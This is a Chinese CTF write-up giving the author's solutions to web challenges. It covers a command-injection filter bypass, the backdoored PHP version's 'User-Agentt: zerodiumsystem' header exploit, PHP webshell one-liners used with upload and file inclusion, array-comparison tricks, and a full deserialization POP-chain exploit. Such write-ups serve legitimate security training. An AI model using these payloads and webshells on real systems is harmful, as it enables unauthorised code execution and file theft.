首页 > 其他分享 >赣CTF-WEB-WP

赣CTF-WEB-WP

时间:2023-12-17 17:11:20浏览次数:32  
标签:oo WEB 文件 flag CTF WP Oo php public

赣CTF-WEB-WP

第一次出题,✌们轻喷~~~

水果忍者~

出的JS小游戏签到题,看前端中的all.js文件,即可找到flag。

Ez_RCe

反引号命令执行

preg_match("/flag|cat|tac|system|\\$|\\.|\\\\|exec|pass/i")

这边过滤了许多关键字

我们知道在linux中反引号``也可以执行系统命令,只不过不会回显,需要我们打印出来。

可以看到根目录下存在flag,我们常用cat,tac读取,但是这里过滤了,所以我们用nl读取文件,flag被过滤用通配符绕过

payload:

POST:eval=echo `nl /f*`;

ikun的危险secret

在前端的game.js文件中找到secret,base64解密后=>"flag在哪我不知道,我只知道你这php版本很危险啊!!!"

根据提示查看php版本,可以在network中查看,也可以burp抓包后查看:

复制,右键,百度一搜

发现这个版本的php自带后门,找篇文章跟着复现一遍:

查看根目录下flag文件:

User-Agentt: zerodiumsystem('cat /f*');

提示在env中,直接执行env命令:

User-Agentt: zerodiumsystem('env');

在环境变量中可以看到flag

Array-Master

考查数组的强弱比较

==:弱比较

===:强比较

在弱比较下,数组只要键值对相同,即可判断为两个数组相等

在强比较下,数组不仅仅要键值对相同,还要顺序相同,才能判断为相等

所以这边:

if($c == $_POST['d'] && $c !== $_POST['d']){       
   echo "你就是ARRAY MASTER!!!</br>";       
   echo file_get_contents('/flag');     
}     
else{
    echo "你就是ARRAY JOKER!!!";     
} 

!就是=的相反,所以我们要满足上述if条件,只需要保证我们传入的数组键值对的值跟$c相同,顺序不同即可

payload:

//前面的md5就用数组绕过

POST:a[]=1&b[]=2&d[1]=T&d[0]=C&d[2]=F&d[3]=E&d[4]=R

ez_信息收集

根据提示爬虫,知道访问robots.txt

看到有个gxngxngxn.php文件

访问,即可得到用户名和密码

## username: gxngxngxn

## password: Y0u_are_gr3at!

登录后跳转到 Y0u_Find_Me.php

右键查看页面源代码,提示flag变成雨滴落下

访问rain.js文件即可得到flag

ez_信息收集2.0

同样访问robots.txt,看到存在几百个文件(嘿嘿,我故意放这么多文件),根据提示说用户名和密码被放在了其中的一个文件里。

解法一(预期解):

写个python脚本,运用re库和request库来进行批量访问:

import requests
import re
url="http://47.76.55.63:21887/" #你的url
r1=requests.get(url+"robots.txt") #访问robots.txt
pattern = re.compile(r"Disallow:\s+([\w.]+\.txt)") #正则匹配 Disallow:后的文件名
matches = pattern.findall(r1.text)
for file_name in matches:
    r2=requests.get(url+file_name) #逐个请求
    if "username" in r2.text: #如果username在网页中,则打印出来网页内容
        print(file_name+":"+r2.text)
        break

可以看到用户名和密码被放到了szbge.txt中,剩余流程一样

解法二:

emmm,由于是洗了个澡后临时想到出的题,本意是想考察脚本编写,但是忘记了burp可以爆破了

大概流程就是把robots.txt下的文件名形成一个字典,导入burp的爆破模块,然后请求,看回显长度即可

解法三:

手动一个个访问,只要你有耐心,就不怕!!!!(懂了,下次我放几千个文件)

头像收集器

文件包含+文件上传结合,特殊的php标签

这边我设置的是可以任意上传文件,但是你上传后会发现我把他重命名为一堆数字了,同时给出了文件的绝对路径,然后点击再来一张,可以重新上传,但是注意观察路由,这时我们跳转到了/Try_Again.php?file=index.php,很明显是个文件包含,所以你可以把你上传文件的绝对路由放过去:

/Try_Again.php?file=/var/www/html/upload/xxxxxxx

就可以成功包含自己上传文件的内容,所以我们这里就可以上传个php一句话木马,例如:

<?php eval($_POST[0])?>

但是访问后你会发现,这里的?会被自动替换成!

那么我们需要上传一个不带?,但是可以被当成php执行的一句话木马,这里我故意将php版本设置为php5,就是为了让你们搜索发现;

<script language='php'>eval($_POST[0]);</script>

这个一句话木马可以被当成php解析,但是注意在php7后就被废除了

接下来就说上传,然后文件包含,然后rce (我太懒了,不想截图了,你们自己复现吧,对不起,呜呜呜~~)

HappyBot

反序列化+套娃+绕过

首先是一个机器人,右键页面源代码,要求我们get传参一个start,按照要求传参后即可得到源码:

<?php
error_reporting(0);
class o_o{
    public $o;
    public $O;
    public $oO;
    public $Oo;
    public function __destruct(){
        $char='0123456789abcdefghijklmnopqrstuvwsyzABCDEFGHIGKLMN';
        $random=substr(str_shuffle($char),0,10);
        $this->oO=$random;
        if($this->Oo === $this->oO){
             $this->O="gxngxngxn";
             $this->o->O;
        }
        else{
            echo "菜就多练,练多就不菜";
        }
    }
}
class o_0{
    public $o;
    public $o_o;
    public function __get($o){
        $this ->o="你确定是这里吗???";
        ($this->o_o)[$o]();
    }
}
class oo_00{
    private $oo;
    public $OO;
    protected $Oo;
    public function __invoke(){
        if(!is_array($this -> oo)){
            if(preg_match('/^O_o$/i',$this->oo) && $this->oo != "O_o"){
                echo new $this->Oo($this->OO);
            }
            else{
                echo "尊嘟";
            }
        }
        else{
            echo "假嘟";
        }
    }
}

$O_o=$_GET['start'];
if(isset($O_o)){
    highlight_file(__FILE__);
    unserialize($_GET['尊嘟假嘟']);
}
else{
    include "./zundu.html";
} 

很简单的pop链子:

o_o :: __destruct -> o_0 :: __get -> oo_00 ::__invoke

首先我们看入口点:这里生成了10位数随机字符串并且赋值给了oO,那么要想进入下一步,就需要我们满足Oo===oO,那么这里肯定不是猜随机字符串(想都不敢想),这里我们可以用取地址&,将Oo的值赋值为oO的地址,这样两个值就相等了,也就进入了if路由,然后

赋值o=new o_0() 触发__get魔术方法

接着我们需要通过($this->o_o)[$o]() 来触发 oo_00类中的__invoke魔术方法

因为__get魔术方法是在读取不可访问或不存在属性的值的时候被触发,所以这里接收的就是那个不存在的属性

我们在$this->o->O这里属性O是o_0类中没有的,所以这里$o的值为O

所以我们只需要给$this->o_o赋值一个数组,让键"O"的值为new oo_00()即可

接着绕过preg_match('/^O_o$/i',$this->oo) && $this->oo != "O_o"

这里一搜一搜就知道用个%0a绕过即可

后面

echo new $this->Oo($this->OO);

这考察原生类反序列化,也是自己去搜一搜看看是啥吧

下面给出exp(前面的分析好累,早就不想写了):

<?php
class o_o{
    public $o;
    public $O;
    public $oO;
    public $Oo;
	public function __construct(){
		$this->Oo=&$this->oO;
	}
}
class o_0{
    public $o;
    public $o_o;
}
class oo_00{
    public $oo="O_o%0a";
    public $OO="/f111111ag";  
    public $Oo="SplFileObject";
    //这里直接读文件了,一开始你肯定不知道flag文件的名称,所以你需要运用别的原生类来得到flag名称,出题人太懒了,这里如何得到文件名的过程就不写了,不会的可以问问你们的学长。
} 
$a=new o_o();
$a->o=new o_0();
$a->o->o_o=array("O"=>new oo_00());
echo serialize($a);

运行后生成:

O:3:"o_o":4:{s:1:"o";O:3:"o_0":2:{s:1:"o";N;s:3:"o_o";a:1:{s:1:"O";O:5:"oo_00":3:{s:2:"oo";s:6:"O_o%0a";s:2:"OO";s:10:"/f111111ag";s:2:"Oo";s:13:"SplFileObject";}}}s:1:"O";N;s:2:"oO";N;s:2:"Oo";R:10;}

这边你想直接传参吗,你可以去试试,然后会回显 “菜就多练,练多就不菜”

那么原因在哪呢,问题出在%0a是换行符的意思,在解析的过程中会被解析成一个字符,所以s:6:"O_o%0a"这里的个数应该是4,而不是6

那么手动改下:

O:3:"o_o":4:{s:1:"o";O:3:"o_0":2:{s:1:"o";N;s:3:"o_o";a:1:{s:1:"O";O:5:"oo_00":3:{s:2:"oo";s:4:"O_o%0a";s:2:"OO";s:10:"/f111111ag";s:2:"Oo";s:13:"SplFileObject";}}}s:1:"O";N;s:2:"oO";N;s:2:"Oo";R:10;}

再传参即可得到flag啦啦啦啦啦。

标签:oo,WEB,文件,flag,CTF,WP,Oo,php,public
From: https://www.cnblogs.com/gxngxngxn/p/17909351.html

相关文章

  • 2023ISCTF的fry题解及进阶格式化利用
    这题是一个比较好的进阶格式化利用。就是有点繁琐。先惯例checksec一下心脏骤停hhh。没事先分析一下Main函数int__cdeclmain(intargc,constchar**argv,constchar**envp){init(argc,argv,envp);puts("WelcometoISCTF~~~~~~~~~~~~~~~~");puts("Doyouwantto......
  • asp.net基于WEB层面的云LIS系统平台源码
    随着计算机技术在检验管理方面的广泛应用,以及各种先进的检验仪器在检验医学领域的使用,检验科室对信息化管理提出了更高的要求。正是在这样的背景下开发出了实验室信息管理系统(简称LIS)结合当今各检验科管理及实验室规模的不同状况,充分吸收当今IT科技的最新成就,开发出以高度产品化......
  • 使用DNS查询Web服务器IP地址
    浏览器并不具备访问网络的功能,其最终是通过操作系统实现的,委托操作系统访问服务器时提供的并不是浏览器里面输入的域名而是ip地址,因此第一步需要将域名转换为对应的ip地址域名:www.baidu.comip地址是一串数字tcp/ip的网络结构:计算机通过集线器连接在一起构成一个个子网,子网......
  • ctfshow:misc入门+buuctf:misc
    misc34. 根据题干,得知宽度要大于900,又看wp限制为1200,我就倒着试,试到了1123就可以得出flag了 misc35. 同理上面,改宽度就好misc36. 一样的misc37. 点开是动态的,但其实仔细看可以看见部分flag的,就放进gif里面,一帧一帧看,得出之后按顺序拼凑出来就可以了misc38. ......
  • buuctf:crypto
    RSA. 用RSA—Tool工具,把e转化为十六进制丢失的MD5. python里面运行出来就可以了Alice与Bob.  题目都已经给出了做法,首先进行素数分解,最后再利用md5的32位小写哈希Windows系统密码.  看到ctf就先解密它,放在md5里面信息化时代的步伐. 用工具中文电码在线查询......
  • 使用js和nodejs完成websocket双向通讯
    如题。感谢AI。先用js完成一个最简单的例子。web端:html:<!DOCTYPEhtml><html><head><metacharset="utf-8"><title></title><scriptsrc="j1.js"></script></head>......
  • Web登录功能及其安全验证
    登录认证业务分析系统的登录认证,本质上是查询语句,查询数据库中用户名与密码是否与前端传来的相同。列如前端来数据为{ "username":"jinyong","password":"123456"}在controller层进行接收,并调用Service层的方法处理后响应结果在Service层调用Mapper层方法查询user......
  • 【理论篇】SaTokenException: 非Web上下文无法获取Request问题解决 -理论篇
    在我们使用sa-token安全框架的时候,有时候会提示:SaTokenException:非Web上下文无法获取Request错误截图:在官方网站中,查看常见问题排查:错误追踪:跟着源码可以看到如下代码:从源码中,我们可以看到,由于非Web上下文中无法直接获取HttpServletRequest对象,因此无法直接在子线程中使用SA-Token......
  • 【Web攻防之业务安全实战指南】第8章 回退模块测试
    8.1回退测试8.1.1测试原理和方法很多Web业务在密码修改成功后或者订单付款成功后等业务模块,在返回上一步重新修改密码或者重新付款时存在重新设置密码或者付款的功能,这时如果能返回上一步重复操作,而且还能更改或者重置结果,则存在业务回退漏洞。8.1.2测试过程靶场:8_1.zip首先......
  • 【Web攻防之业务安全实战指南】第6章 业务授权访问模块
    6.1非授权访问测试6.1.1测试原理和方法非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制到其他浏览器或其他电脑上进行访问,观察是否能访问成功。6.1.2测试过程靶......